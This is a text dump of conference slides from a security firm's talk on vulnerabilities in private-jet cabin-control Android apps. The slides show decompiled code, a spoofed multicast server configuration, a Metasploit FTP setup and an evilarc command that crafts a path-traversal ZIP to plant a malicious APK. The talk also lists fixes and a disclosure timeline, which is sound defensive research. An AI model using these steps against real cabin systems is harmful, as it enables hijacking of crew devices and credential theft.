SlideShare ist ein Scribd-Unternehmen logo
1 von 63
IoP: Internet Of Planes
IoP: Internet Of Planes
Hacking Millionaires Jet Cabins
3
Index
©2019 IOActive, Inc. All Rights Reserved.
• Who I Am?
• Introduction
• The Applications
• Talk’s Purpose
• The Analysis
• We are the plane
• Vulnerabilities
• Fixes
• Research Timeline
4
Thanks RootedCON and Congratulations!
©2019 IOActive, Inc. All Rights Reserved.
5
Thanks RootedCON and Congratulations!
©2019 IOActive, Inc. All Rights Reserved.
#10yearschallenge
6
Who Am I?
©2019 IOActive, Inc. All Rights Reserved.
• J. Daniel Martínez - @dan1t0
• Security Consultant @ioactive
• Experiencia: Más años que un hobbit
7
Introduction
©2019 IOActive, Inc. All Rights Reserved.
We break things:
• Breaking Extreme Networks WingOS: How to Own Millions of Devices
Running on Aircrafts, Government, Smart Cities and More by Josep Pi
• In Flight Hacking System by Rubén Santamarta
8
Introduction
©2019 IOActive, Inc. All Rights Reserved.
The push to incorporate remote management capabilities into products has
swept across a number of industries. A good example of this is the famous
Internet of Things (IoT), where modern home devices from crockpots to
thermostats can be managed remotely from a tablet or smartphone.
One of the biggest problems associated with this new feature is a lack of
security. Unfortunately nobody is surprised when a new, widespread
vulnerability appears in the IoT world.
However, the situation becomes a bit more concerning when similar
technologies appear in the aviation sector.
9
Introduction
©2019 IOActive, Inc. All Rights Reserved.
Nowadays we can find Cabin and In-Flight entertainment systems
that can be managed from mobile devices owned by crew members
and/or passengers.
It is important to note that usually these systems should not
have direct connection to avionics, so although it is certainly
possible for a malicious actor to create situations of discomfort
onboard an aircraft, by playing with PAX, temperature or light
intensity there is no direct threat to safety.
10
The Applications
©2019 IOActive, Inc. All Rights Reserved.
Bombardier Cabin Control Developed by Rockwell Collins Venue Cabin Remote Developed by Rockwell Collins
11
The Applications
©2019 IOActive, Inc. All Rights Reserved.
The discovered vulnerabilities affect the crew and passenger’s devices.
Venue Cabin Remote is the Android (and iOS) Application developed by Rockwell
Collins to manage the available cabin capabilities in the aircraft such as cabin
temperature, light intensity and much more.
The system is based on a wireless access point installed onboard the aircraft that
provides network connectivity from the passengers and crew members to the
Venue Cabin server. The following figure shows the infrastructure of the Venue and
Bombardier Cabin management systems.
12
The Applications
©2019 IOActive, Inc. All Rights Reserved.
The big picture of the
system is based on a
wireless access point
installed in the aircraft
how gives network
connectivity for the
passengers and crew
members to the aircraft
server.
13
The Applications - Infrastructure
©2019 IOActive, Inc. All Rights Reserved.
14
The Applications - User Roles
©2019 IOActive, Inc. All Rights Reserved.
The apps in scope have three roles:
• Crew
• Fwd Cabin
• Aft Cabin
‘Fwd Cabin’ and ‘Aft Cabin’ can manage operations related to the
passenger accommodations such as lights, temperature, checking
flight information, and entertainment.
The most interesting role for an attacker would be ‘Crew’ as it can
manage all the capabilities available to the other roles.
15
Talk’s Purpose
©2019 IOActive, Inc. All Rights Reserved.
The behavior of these applications is clear but, how
to analyze and find bugs in them without to have a
real environment to research?
The purpose of this talk is to provide an overview of the operation
of these emergent systems, with a focus on the vulnerabilities that
affect the mobile apps, also providing a detailed explanation on
how to exploit them. Multiple vulnerabilities were found by
analyzing and decompiling the Android applications used to
manage these systems.
16
The Analysis
©2019 IOActive, Inc. All Rights Reserved.
The Android Apps analyzed in this post are:
1. Venue Cabin Remote - Android Application Version
2.1.12 (Current Version 2.2.1)
1. Bombardier Cabin Control - Android Application
Version 2.1.12 (Current Version 2.2.1)
17
The Analysis - Google Play
©2019 IOActive, Inc. All Rights Reserved.
18
The Analysis
©2019 IOActive, Inc. All Rights Reserved.
When the application is launched it provides ‘demo mode’
when it does not detect a valid production environment.
It is important to note that this mode is just an additional
functionality added to the app, but the apk we downloaded
actually contains all the implemented functionality
required to operate the system under regular conditions.
19
The Analysis - The Demo Mode
©2019 IOActive, Inc. All Rights Reserved.
20
The Analysis
©2019 IOActive, Inc. All Rights Reserved.
During the post, we will combine passive analysis i.e log
analysis and captured network traffic with static analysis,
by analyzing the source code of the decompiled binary to
understand how the application works.
21
The Analysis
©2019 IOActive, Inc. All Rights Reserved.
During the research process, when the Bombarider
application was analysed, we noticed that both
applications were internally similar. So basically,
Bombardier Cabin Control is a rebranding of Venue Cabin
Remote.
22
The Analysis - Decompiling
©2019 IOActive, Inc. All Rights Reserved.
To get the java code from the APK we will use jadx
jadx --deobf --show-bad-code -d rockwell
com.rockwellcollins.venue.cabinremote.apk
23
The Analysis - AndroidManifest.xml
©2019 IOActive, Inc. All Rights Reserved.
Permissions:
• WRITE_EXTERNAL_STORAGE
• CHANGE_WIFI_MULTICAST_STATE
• INTERNET
• ACCESS_NETWORK_STATE
• CHANGE_WIFI_STATE
• ACCESS_WIFI_STATE
• SYSTEM_ALERT_WINDOW
• KILL_BACKGROUND_PROCESSES
• READ_EXTERNAL_STORAGE
24
The Analysis - Static (logcat)
©2019 IOActive, Inc. All Rights Reserved.
782 967 I ActivityManager: Start proc 3790:com.rockwellcollins.venue.cabinremote/u0a81 for activity
com.rockwellcollins.venue.cabinremote/.SplashActivity
3790 3790 I CabinRemote: [INFO] ***** CabinRemoteApp Started. ****** - time_stamp_key:1553016164721
3790 3790 I AppSettings: [INFO] Storage folder to use:
/data/user/0/com.rockwellcollins.venue.cabinremote/files - time_stamp_key:1553016164722
time_stamp_key:1553016164860
3790 3790 V CabinRemote: StateUninitialized START_INIT
3790 3790 I System.out: Received StateUninitialized : START_INIT Session ID f2c60a5a-90e7-4abe-9886-
0a99f0a977b4
3790 3790 I CabinRemote: CabinRemote clearPrefs(true)
3790 3790 D StateInitializing: [DEBUG] Received StateInitializing : START_INITIALIZING -
time_stamp_key:1553016164894
3790 3808 I Adreno-EGL: <qeglDrvAPI_eglInitialize:379>: QUALCOMM Build: 10/21/15, 369a2ea, I96aee987eb
3790 3808 I OpenGLRenderer: Initialized EGL, version 1.4
3790 3808 D OpenGLRenderer: Swap behavior 1
3790 3812 W Step1 : [WARN] Conn Announcement listenging timeout... 1 - time_stamp_key:1553016169928
3790 3812 W Step1 : [WARN] Conn Announcement listenging timeout... 2 - time_stamp_key:1553016176011
3790 3812 W Step1 : [WARN] Conn Announcement listenging timeout... 3 - time_stamp_key:1553016182075
3790 3790 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP1 -
time_stamp_key:1553016183094
(Shorted to avoid “turra”)
25
The Analysis - Step1.java
©2019 IOActive, Inc. All Rights Reserved.
private static MulticastLock lockWifi() {
WifiManager wifiManager = (WifiManager)
CabinRemote.getApp().getSystemService("wifi");
MulticastLock lock =
wifiManager.createMulticastLock("multicastLock");
lock.setReferenceCounted(true);
lock.acquire();
if (!(wifiManager.getConnectionInfo() == null ||
wifiManager.getConnectionInfo().getSSID() == null ||
!wifiManager.getConnectionInfo().getSSID().contains("dd-wrt-dev"))) {
MCAST_GROUP_IP = CabinRemote.DEBUG_MULTICAST_SERVER_IP;
}
return lock;
}
26
The Analysis - State Machine
©2019 IOActive, Inc. All Rights Reserved.
‘CommandEvent.java’ and ‘StateInitializing.java’ implement the state machine
for this protocol. i.e
‘com/rockwellcollins/venue/cabinremote/core/init/Step2.java’, when the run()
function is finished, it moves to the next state:
EventBus.post(new CommandEvent(Command.DONE_STEP2, result));
On function onEvent() at
‘com/rockwellcollins/venue/cabinremote/core/init/StateInitializing.java‘ the
event is processed and checked whether it finished as the application
expected.
27
The Analysis - Step1.java & Multicast
©2019 IOActive, Inc. All Rights Reserved.
IsPacketRcvd = false;
numOfAttemptForRcvdPacket = 0;
while (!IsPacketRcvd) {
numOfAttemptForRcvdPacket++;
this.mMulticastSocket.receive(inPacket);
packLength = inPacket.getLength();
if (packLength > 0) {
IsPacketRcvd = true;
this.ConnAnnouncementMsg = (ConnAnnouncement) gson.fromJson(new
String(this.inBuf, 0, packLength), ConnAnnouncement.class);
if (this.ConnAnnouncementMsg != null) {
result.isInError = false;
result.data = this.ConnAnnouncementMsg;
unlockWifi(this.mMulticastLock);
while (IsBindingFailed) {
numOfAttemptForBindingIPAddress++;
this.mMulticastSocket = new MulticastSocket(53000);
if (this.IsTimeoutRequired) {
this.mMulticastSocket.setSoTimeout(5000);}
28
The Analysis - ConnAnnouncement.java
©2019 IOActive, Inc. All Rights Reserved.
package com.rockwellcollins.venue.cabinremote.core.init;
import com.google.gson.annotations.SerializedName;
import com.rockwellcollins.venue.cabinremote.util.StringTool;
public class ConnAnnouncement {
String address;
@SerializedName("app.ver")
String appVer;
@SerializedName("conf.path")
String confPath;
@SerializedName("conf.ver")
String confVer;
String json;
String port;
String tree1;
String tree2;
String type;
[...shorted to avoid “turra”...]
public String toString() {
return "ConnectionAnnouncement [confPath=" + this.confPath + ",
confVer=" + this.confVer + ", appVer=" + this.appVer + ", type=" + this.type +
", address=" + this.address + ", port=" + this.port + ", tree1=" + this.tree1 +
", tree2=" + this.tree2 + "]"; } }
29
The Analysis - Step2.java
©2019 IOActive, Inc. All Rights Reserved.
At Step2.java, the function downloadConfigFile(ConnAnnouncement connAnn) as the
following line shows:
The method is implemented in FileDownloader.java and the definition is pretty
clear:
checkAppVersion in InitTask.java gives us some clues to set a possible valid value in
the parameter app.ver and doInit provides us with the value for conf.ver
success = FileDownloader.ftpDownloadFile(connAnn.address, connAnn.tree1,
connAnn.tree2, connAnn.getConfPath(), CabinRemote.CONFIG_FILE_NAME,
this.mAppSettings.getStoragePath());
ftpDownloadFile(String host, String userName, String password, String
serverDir, String fileName, String localDir)
30
The Analysis - JSON’s Content
©2019 IOActive, Inc. All Rights Reserved.
Finally, we will have a configuration that looks like this:
{"app.ver":"4","conf.path":"/ioa/","conf.ver":"1","address
":"10.0.2.2","port":"21","tree1":"user","tree2":"password"
}
31
The Analysis - The toolkit
©2019 IOActive, Inc. All Rights Reserved.
For the next steps, we will use the next tools
• Using a Linux box and the tool hostapd a WiFi access point is deployed.
• Wireshark will be used to analyze the traffic between the “server” and the
device.
• To simulate the real environment which the app is expecting, we create a
simple script to send the configuration over multicast.
32
The Analysis - sender.py
©2019 IOActive, Inc. All Rights Reserved.
python sender.py
- Sending ->
{"app.ver":"4","conf.path":"/ioa/","conf.ver":"1","address":"10.0.2.2","po
rt":"21","tree1":"user","tree2":"password"}
- Waiting 1 second...
- Sending ->
{"app.ver":"4","conf.path":"/ioa/","conf.ver":"1","address":"10.0.2.2","po
rt":"21","tree1":"user","tree2":"password"}
- Waiting 1 second...
- Sending ->
{"app.ver":"4","conf.path":"/ioa/","conf.ver":"1","address":"10.0.2.2","po
rt":"21","tree1":"user","tree2":"password"}
- Waiting 1 second...
33
The Analysis - AP_creator.sh
©2019 IOActive, Inc. All Rights Reserved.
./AP_creator.sh
-> Setting IP Forwarding... done
-> Unlocking wifi iface... done
-> Configuring WiFi interface... done
-> Creating AP
- SSID: danito
- Password: ********
- AP source: 10.0.2.2 / 255.255.255.0
- DHCP server: UP
- DNS server: UP
-> Enabling NAT... done
Configuration file: ap.conf
Using interface wlan0 with hwaddr 06:3d:2c:4a:b1:03 and ssid "dd-wrt-dev-danito"
wlan0: interface state UNINITIALIZED->ENABLED
wlan0: AP-ENABLED
wlan0: STA 8c:3a:e3:63:09:70 IEEE 802.11: authenticated
wlan0: STA 8c:3a:e3:63:09:70 IEEE 802.11: associated (aid 1)
wlan0: AP-STA-CONNECTED 8c:3a:e3:63:09:70
wlan0: STA 8c:3a:e3:63:09:70 RADIUS: starting accounting session EEB466BB15D84FCB
wlan0: STA 8c:3a:e3:63:09:70 WPA: pairwise key handshake completed (RSN)
34
The Analysis - Traffic Capture
©2019 IOActive, Inc. All Rights Reserved.
With the new environment ready, the application is executed again, and the traffic
is captured using Wireshark:
35
The Analysis - adb logcat
©2019 IOActive, Inc. All Rights Reserved.
12515 12515 I CabinRemote: [INFO] ***** CabinRemoteApp Started. ****** - time_stamp_key:1553081145813
12515 12515 I AppSettings: [INFO] Storage folder to use: /data/user/0/com.rockwellcollins.venue.cabinremote/files -
time_stamp_key:1553081145813
12515 12515 I SplashActivity: [INFO] onCreate() called - time_stamp_key:1553081145870
12515 12515 I SplashActivity: [INFO] onResume() called appStatus UNINITIALIZED - time_stamp_key:1553081145933
12515 12515 V CabinRemote: StateUninitialized START_INIT
12515 12515 I System.out: Received StateUninitialized : START_INIT Session ID 45057425-aa78-4a99-8214-1ebbee7e29fb
12515 12515 I CabinRemote: CabinRemote clearPrefs(true)
12515 12515 D StateInitializing: [DEBUG] Received StateInitializing : START_INITIALIZING -
time_stamp_key:1553081145963
12515 12515 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP1 - time_stamp_key:1553081146979
12515 12552 V Step2 : Step2 run ConfVer = 1.1.1
12515 12552 V Step2 : Step2 run confVerCached = CONF-VERSION-UNKNOWN
12515 12552 V Step2 : Step2 run confVerLoaded= CONF-VERSION-UNKNOWN
12515 12552 V Step2 : Step2 run confVerToLoad = CONF-VERSION-UNKNOWN
12515 12552 I CabinRemote: CabinRemote clearPrefs(true)
12515 12552 I Step2.checkAppVersion: [INFO] app version to compare: 4.1.1 - time_stamp_key:1553081146982
12515 12552 I Step2.checkAppVersion: [INFO] Major Version 4 - time_stamp_key:1553081146983
12515 12552 W Step2.checkAppVersion: [WARN] Venue version is higher than app version - time_stamp_key:1553081146983
03-20 12:25:47.013 12515 12552 W FileDownloader: [WARN] FTPDownloadFile - IO Exception. -
time_stamp_key:1553081147013 java.net.ConnectException: Connection refused
12515 12515 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP2 - time_stamp_key:1553081147014
36
The Analysis - FTP server
©2019 IOActive, Inc. All Rights Reserved.
danito@ioa # cat ftp.msf
use auxiliary/server/ftp
set FTPPASS password
set FTPUSER user
set FTPROOT /tmp/research
run
danito@ioa # msfconsole -r ftp.msf
[*] Processing ftp.msf for ERB directives.
resource (ftp.msf)> use auxiliary/server/ftp
resource (ftp.msf)> set FTPPASS password
FTPPASS => password
resource (ftp.msf)> set FTPUSER user
FTPUSER => user
resource (ftp.msf)> set FTPROOT /tmp/research/
FTPROOT => /tmp/research/
resource (ftp.msf)> run
[*] Auxiliary module running as background job 0.
[*] Starting persistent handler(s)...
[*] Started service listener on 0.0.0.0:21
[*] Server started.
37
The Analysis - FTP server
©2019 IOActive, Inc. All Rights Reserved.
Executing again the application we get the next traffic from the device:
msf log: [*] 10.0.2.60:46983 FTP download request for RemoteConfiguration.xml
38
The Analysis - FTP server
©2019 IOActive, Inc. All Rights Reserved.
The application is looking for a configuration file in XML format. The
RemoteConfiguration.xml is a configuration file required by the application to load
the aircraft configuration such us seats, lights, sensors, media, etc.
A sample of this file is found into the APK files. The application uses to run the in
Demo Mode.
39
The Analysis - FTP server
©2019 IOActive, Inc. All Rights Reserved.
40
The Analysis - FTP server
©2019 IOActive, Inc. All Rights Reserved.
Then the application tries to download another file
41
The Analysis - FTP server
©2019 IOActive, Inc. All Rights Reserved.
Like the previous step with the XML file and analyzing files and folders contained in
the “assets” folder:
42
The Analysis - FTP server
©2019 IOActive, Inc. All Rights Reserved.
43©2019 IOActive, Inc. All Rights Reserved.
At this point the application has completed the resources loading process. Analyzing
the logs we confirm all the phases have been successfully completed.
cat adb.logs | grep STEP
18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP1 - time_stamp_key:1553096001644
18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP2 - time_stamp_key:1553096001663
18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP3 - time_stamp_key:1553096003678
18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP4 - time_stamp_key:1553096003687
18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP5 - time_stamp_key:1553096003723
18584 18584 V StateInitializing: StateInitializing DONE_STEP5 storing SSID "danito"
18584 18584 D StateInitializing: [DEBUG] Received StateInitializing : DONE_STEP6 - time_stamp_key:1553096005746
44
We are the plane
©2019 IOActive, Inc. All Rights Reserved.
45
We are the plane - Demo
©2019 IOActive, Inc. All Rights Reserved.
46
We are the plane - Demo
©2019 IOActive, Inc. All Rights Reserved.
47
Vulnerabilities - ZIP Files: Path traversal / Arbitrary File
Write
©2019 IOActive, Inc. All Rights Reserved.
As we have seen during the provisioning procedure of the mobile app, a ZIP file is
downloaded from the server. Unfortunately, the function to extract the ZIP files
doesn’t sanitize the paths of the zip entries, which can be leveraged to perform a
path traversal attack.
48
Vulnerabilities - ZIP Files: Path traversal / Arbitrary File
Write
©2019 IOActive, Inc. All Rights Reserved.
The function that handles ZIP files downloaded from the server doesn’t sanitize the
path of those file entries present in the ZIP.
As a result, it is possible to add path traversal patterns ('../..') in these entries in
order to write arbitrary files outside the expected directory, for example, to SDCard.
If the application has permission to do it.
49
Vulnerabilities - ZIP Files: Path traversal / Arbitrary File
Write
©2019 IOActive, Inc. All Rights Reserved.
As proof of concept a ZIP file containing a path transversal payload intended to
create malicious APK on the sdcard directory was crafted. To craft the ZIP file the
tool evilarc.py was used (https://github.com/ptoomey3/evilarc)
The vulnerable function is included in two classes:
• ./java/com/rockwellcollins/venue/cabinremote/core/init/FileTool.java
• ./java/com/rockwellcollins/venue/cabinremote/util/FileTool.java
danito@ioa # ls
Malicious.apk evilarc.py
danito@ioa # python evilarc.py Malicious.apk -o unix -p sdcard -f
DassaultIcons_android_xhdpi.zip
Creating DassaultIcons_android_xhdpi.zip containing
../../../../../../../../sdcard/Malicious.apk
50©2019 IOActive, Inc. All Rights Reserved.
public static void unzipFile(ZipFile zipFile, File jiniHomeParentDir) {
File file;
IOException e;
Throwable th;
Enumeration files = zipFile.entries();
FileOutputStream fos = null;
while (files.hasMoreElements()) {
try {
ZipEntry entry = (ZipEntry) files.nextElement();
InputStream eis = zipFile.getInputStream(entry);
byte[] buffer = new byte[1024];
File f = new File(jiniHomeParentDir.getAbsolutePath() + File.separator + entry.getName());
try {
if (entry.isDirectory()) {
f.mkdirs();
if (fos != null) {
try {
fos.close();
file = f;
} catch (IOException e2) {
e2.printStackTrace();
file = f;
}
}
} else {
51©2019 IOActive, Inc. All Rights Reserved.
f.getParentFile().mkdirs();
f.createNewFile();
FileOutputStream fos2 = new FileOutputStream(f);
while (true) {
try {
int bytesRead = eis.read(buffer);
if (bytesRead == -1) {
break;
}
fos2.write(buffer, 0, bytesRead);
fos2.getFD().sync();
} catch (IOException e3) {
e2 = e3;
fos = fos2;
file = f;
} catch (Throwable th2) {
th = th2;
fos = fos2;
file = f;
}
}
if (fos2 != null) {
try {
fos2.close();
} catch (IOException e22) {
52
Vulnerabilities - Demo time
©2019 IOActive, Inc. All Rights Reserved.
53
Vulnerabilities - Demo time
©2019 IOActive, Inc. All Rights Reserved.
54
Vulnerabilities - Lack of Legitimacy Checking of the
Server
©2019 IOActive, Inc. All Rights Reserved.
Based on the application design, it could be possible to broadcast a valid server
configuration in a legit aircraft WiFi network.
The Android Application of passenger and crew members could be hijacked to trick
them into connecting to a fake server. In case of crew members, this can be abused
to request them the password to access to the protected area in the application.
Later on, an attacker could use these valid credentials to connect to the legit server,
thus potentially performing malicious operations on the Cabin Management
System...
55
Vulnerabilities - Unencrypted Communications
©2019 IOActive, Inc. All Rights Reserved.
The Application doesn't implement a secure communication layer when
communicating to the server. As a result, an attacker may perform a Man-in-the-
Middle attack to get passwords, sessions ID or any other sensitive information. If the
application is found running in an unprotected WiFi network an attacker may sniff the
communication and get information without even launching a Man-in-the-Middle
attack.
The following example shows the app using insecure FTP to download different files.
More details were found in the file FileDownloader.java:
HttpURLConnection conn = (HttpURLConnection) new URL("http", host, 80, serverPath +
fileName).openConnection();
static boolean ftpDownloadFile(String host, String userName, String password,
String serverDir, String fileName, String localDir)
56
Fixes
©2019 IOActive, Inc. All Rights Reserved.
• Implement a secure communication channel with the server e.g. by adding a
TLS layer.
• Implement client-server authentication.
• Sensitive files, such as the configuration file, should be cryptographically
signed.
• Secure the ZIP parser by adding a path sanitizer and ideally validating the
integrity of decompressed files.
• Remove debug information and testing capabilities included in the production
build, such as 'debug SSID' or password logging.
• It is highly recommended to analyze the iOS applications to verify if they are
affected by the same issues.
57
Other Minor Issues
©2019 IOActive, Inc. All Rights Reserved.
• Sensitive Information available in logcat:
./java/p014com/rockwellcollins/venue/cabinremote/p016ui/action/ContextAct
ion.java
Log.v(f799TAG, "Password = " + password + ", context = " + authContext);
• Log files stored in sdcard:
/sdcard/com.rockwellcollins.venue.cabinremote/cabinremote.log
[INFO] 0 ***** CabinRemoteApp Started. ****** - time_stamp_key:1510848709279
[INFO] 2 Storage folder to use: /data/user/0/com.rockwellcollins.venue.cabinremote/files - time_stamp_key:1510848709288
[INFO] 63 onCreate() called - time_stamp_key:1510848709349
[INFO] 151 onResume() called appStatus UNINITIALIZED - time_stamp_key:1510848709437
[DEBUG] 206 Received StateInitializing : START_INITIALIZING - time_stamp_key:1510848709492
[WARN] 5218 Conn Announcement listenging timeout... 1 - time_stamp_key:1510848714504
[WARN] 11247 Conn Announcement listenging timeout... 2 - time_stamp_key:1510848720533
[WARN] 17255 Conn Announcement listenging timeout... 3 - time_stamp_key:1510848726540
[DEBUG] 18304 Received StateInitializing : DONE_STEP1 - time_stamp_key:1510848727589
58
Other Minor Issues
©2019 IOActive, Inc. All Rights Reserved.
• Vulnerable to DoS attacks in XML parser and even the unzip functionality.
– The insecure function to deflate ZIP files doesn’t check the integrity of the
file so it is possible to launch a DoS attack against the mobile device.
– The mobile application XML parser is vulnerable to XML bomb. This
vulnerability lead in a Denegation of Service of the mobile application by
resources exhaustion to parse the malicious XML. When the Android
Device tried to parse the XML (RemoteConfigurationFile.xml) the error
shows below were getting from logcat:
13332 13833 W art : Throwing OutOfMemoryError
"Failed to allocate a 128887990 byte allocation
with 16777216 free bytes and 90MB until OOM"
59
Research Timeline
©2019 IOActive, Inc. All Rights Reserved.
• Research Timeline
– 2018 February: IOActive discovers vulnerability
– 2018 February: IOActive notifies vendor
– 2019 March: IOActive advisory published
60
Research Timeline - The fix
©2019 IOActive, Inc. All Rights Reserved.
Permissions Requested in Venue Cabin Remote Version 2.1.12 (Research Version)
• WRITE_EXTERNAL_STORAGE
• CHANGE_WIFI_MULTICAST_STATE
• INTERNET
• ACCESS_NETWORK_STATE
• CHANGE_WIFI_STATE
• ACCESS_WIFI_STATE
• SYSTEM_ALERT_WINDOW
• KILL_BACKGROUND_PROCESSES
• READ_EXTERNAL_STORAGE
61
Research Timeline - The fix
©2019 IOActive, Inc. All Rights Reserved.
New Permissions Requested in Venue Cabin Remote 2.2.2 (Current Version Updated
on 11st March 2019):
• WRITE_EXTERNAL_STORAGE
• CHANGE_WIFI_MULTICAST_STATE
• INTERNET
• ACCESS_NETWORK_STATE
• CHANGE_WIFI_STATE
• ACCESS_WIFI_STATE
• SYSTEM_ALERT_WINDOW
• KILL_BACKGROUND_PROCESSES
• READ_EXTERNAL_STORAGE
62
Research Timeline - The (not) fix
©2019 IOActive, Inc. All Rights Reserved.
63
Thank you RootedCON!!
©2019 IOActive, Inc. All Rights Reserved.

Weitere ähnliche Inhalte

Was ist angesagt?

Root via sms. 4G security assessment
Root via sms. 4G security assessment Root via sms. 4G security assessment
Root via sms. 4G security assessment Sergey Gordeychik
 
Man in the middle attacks on IEC 60870-5-104
Man in the middle attacks on IEC 60870-5-104Man in the middle attacks on IEC 60870-5-104
Man in the middle attacks on IEC 60870-5-104pgmaynard
 
Root via SMS: 4G access level security assessment, Sergey Gordeychik, Alexand...
Root via SMS: 4G access level security assessment, Sergey Gordeychik, Alexand...Root via SMS: 4G access level security assessment, Sergey Gordeychik, Alexand...
Root via SMS: 4G access level security assessment, Sergey Gordeychik, Alexand...Sergey Gordeychik
 
Introduction to Industrial Control Systems : Pentesting PLCs 101 (BlackHat Eu...
Introduction to Industrial Control Systems : Pentesting PLCs 101 (BlackHat Eu...Introduction to Industrial Control Systems : Pentesting PLCs 101 (BlackHat Eu...
Introduction to Industrial Control Systems : Pentesting PLCs 101 (BlackHat Eu...arnaudsoullie
 
Jericho Attack Technique
Jericho Attack TechniqueJericho Attack Technique
Jericho Attack TechniqueJan Seidl
 
Tools Of The Hardware Hacking Trade Final
Tools Of The Hardware Hacking Trade FinalTools Of The Hardware Hacking Trade Final
Tools Of The Hardware Hacking Trade FinalPriyanka Aash
 
[CB21] The Lazarus Group's Attack Operations Targeting Japan by Shusei Tomona...
[CB21] The Lazarus Group's Attack Operations Targeting Japan by Shusei Tomona...[CB21] The Lazarus Group's Attack Operations Targeting Japan by Shusei Tomona...
[CB21] The Lazarus Group's Attack Operations Targeting Japan by Shusei Tomona...CODE BLUE
 
Master Serial Killer - DEF CON 22 - ICS Village
Master Serial Killer - DEF CON 22 - ICS VillageMaster Serial Killer - DEF CON 22 - ICS Village
Master Serial Killer - DEF CON 22 - ICS VillageChris Sistrunk
 
A 2018 practical guide to hacking RFID/NFC
A 2018 practical guide to hacking RFID/NFCA 2018 practical guide to hacking RFID/NFC
A 2018 practical guide to hacking RFID/NFCSlawomir Jasek
 
Scada strange love uwn-stuxnet
Scada strange love   uwn-stuxnetScada strange love   uwn-stuxnet
Scada strange love uwn-stuxnetPositive Hack Days
 
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...JPCERT Coordination Center
 
How We Stopped Being Just Antivirus and Became a Unique Industrial Infrastruc...
How We Stopped Being Just Antivirus and Became a Unique Industrial Infrastruc...How We Stopped Being Just Antivirus and Became a Unique Industrial Infrastruc...
How We Stopped Being Just Antivirus and Became a Unique Industrial Infrastruc...Kaspersky
 
Protecting Your DNP3 Networks
Protecting Your DNP3 NetworksProtecting Your DNP3 Networks
Protecting Your DNP3 NetworksChris Sistrunk
 
Silicon scanners cambridge report
Silicon scanners cambridge reportSilicon scanners cambridge report
Silicon scanners cambridge reportLiberteks
 
04 ccna sv2 instructor_ppt_ch5
04 ccna sv2 instructor_ppt_ch504 ccna sv2 instructor_ppt_ch5
04 ccna sv2 instructor_ppt_ch5Babaa Naya
 
[CB19] MalConfScan with Cuckoo: Automatic Malware Configuration Extraction Sy...
[CB19] MalConfScan with Cuckoo: Automatic Malware Configuration Extraction Sy...[CB19] MalConfScan with Cuckoo: Automatic Malware Configuration Extraction Sy...
[CB19] MalConfScan with Cuckoo: Automatic Malware Configuration Extraction Sy...CODE BLUE
 
Super Effective Denial of Service Attacks
Super Effective Denial of Service AttacksSuper Effective Denial of Service Attacks
Super Effective Denial of Service AttacksJan Seidl
 
BSidesAugusta 2015 - How to get into ICS security
BSidesAugusta 2015 - How to get into ICS securityBSidesAugusta 2015 - How to get into ICS security
BSidesAugusta 2015 - How to get into ICS securityChris Sistrunk
 
SCADA hacking industrial-scale fun
SCADA hacking industrial-scale funSCADA hacking industrial-scale fun
SCADA hacking industrial-scale funJan Seidl
 
side-channel-kevin2600
side-channel-kevin2600side-channel-kevin2600
side-channel-kevin2600Kevin2600
 

Was ist angesagt? (20)

Root via sms. 4G security assessment
Root via sms. 4G security assessment Root via sms. 4G security assessment
Root via sms. 4G security assessment
 
Man in the middle attacks on IEC 60870-5-104
Man in the middle attacks on IEC 60870-5-104Man in the middle attacks on IEC 60870-5-104
Man in the middle attacks on IEC 60870-5-104
 
Root via SMS: 4G access level security assessment, Sergey Gordeychik, Alexand...
Root via SMS: 4G access level security assessment, Sergey Gordeychik, Alexand...Root via SMS: 4G access level security assessment, Sergey Gordeychik, Alexand...
Root via SMS: 4G access level security assessment, Sergey Gordeychik, Alexand...
 
Introduction to Industrial Control Systems : Pentesting PLCs 101 (BlackHat Eu...
Introduction to Industrial Control Systems : Pentesting PLCs 101 (BlackHat Eu...Introduction to Industrial Control Systems : Pentesting PLCs 101 (BlackHat Eu...
Introduction to Industrial Control Systems : Pentesting PLCs 101 (BlackHat Eu...
 
Jericho Attack Technique
Jericho Attack TechniqueJericho Attack Technique
Jericho Attack Technique
 
Tools Of The Hardware Hacking Trade Final
Tools Of The Hardware Hacking Trade FinalTools Of The Hardware Hacking Trade Final
Tools Of The Hardware Hacking Trade Final
 
[CB21] The Lazarus Group's Attack Operations Targeting Japan by Shusei Tomona...
[CB21] The Lazarus Group's Attack Operations Targeting Japan by Shusei Tomona...[CB21] The Lazarus Group's Attack Operations Targeting Japan by Shusei Tomona...
[CB21] The Lazarus Group's Attack Operations Targeting Japan by Shusei Tomona...
 
Master Serial Killer - DEF CON 22 - ICS Village
Master Serial Killer - DEF CON 22 - ICS VillageMaster Serial Killer - DEF CON 22 - ICS Village
Master Serial Killer - DEF CON 22 - ICS Village
 
A 2018 practical guide to hacking RFID/NFC
A 2018 practical guide to hacking RFID/NFCA 2018 practical guide to hacking RFID/NFC
A 2018 practical guide to hacking RFID/NFC
 
Scada strange love uwn-stuxnet
Scada strange love   uwn-stuxnetScada strange love   uwn-stuxnet
Scada strange love uwn-stuxnet
 
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
Case Studies and Lessons Learned from SSL/TLS Certificate Verification Vulner...
 
How We Stopped Being Just Antivirus and Became a Unique Industrial Infrastruc...
How We Stopped Being Just Antivirus and Became a Unique Industrial Infrastruc...How We Stopped Being Just Antivirus and Became a Unique Industrial Infrastruc...
How We Stopped Being Just Antivirus and Became a Unique Industrial Infrastruc...
 
Protecting Your DNP3 Networks
Protecting Your DNP3 NetworksProtecting Your DNP3 Networks
Protecting Your DNP3 Networks
 
Silicon scanners cambridge report
Silicon scanners cambridge reportSilicon scanners cambridge report
Silicon scanners cambridge report
 
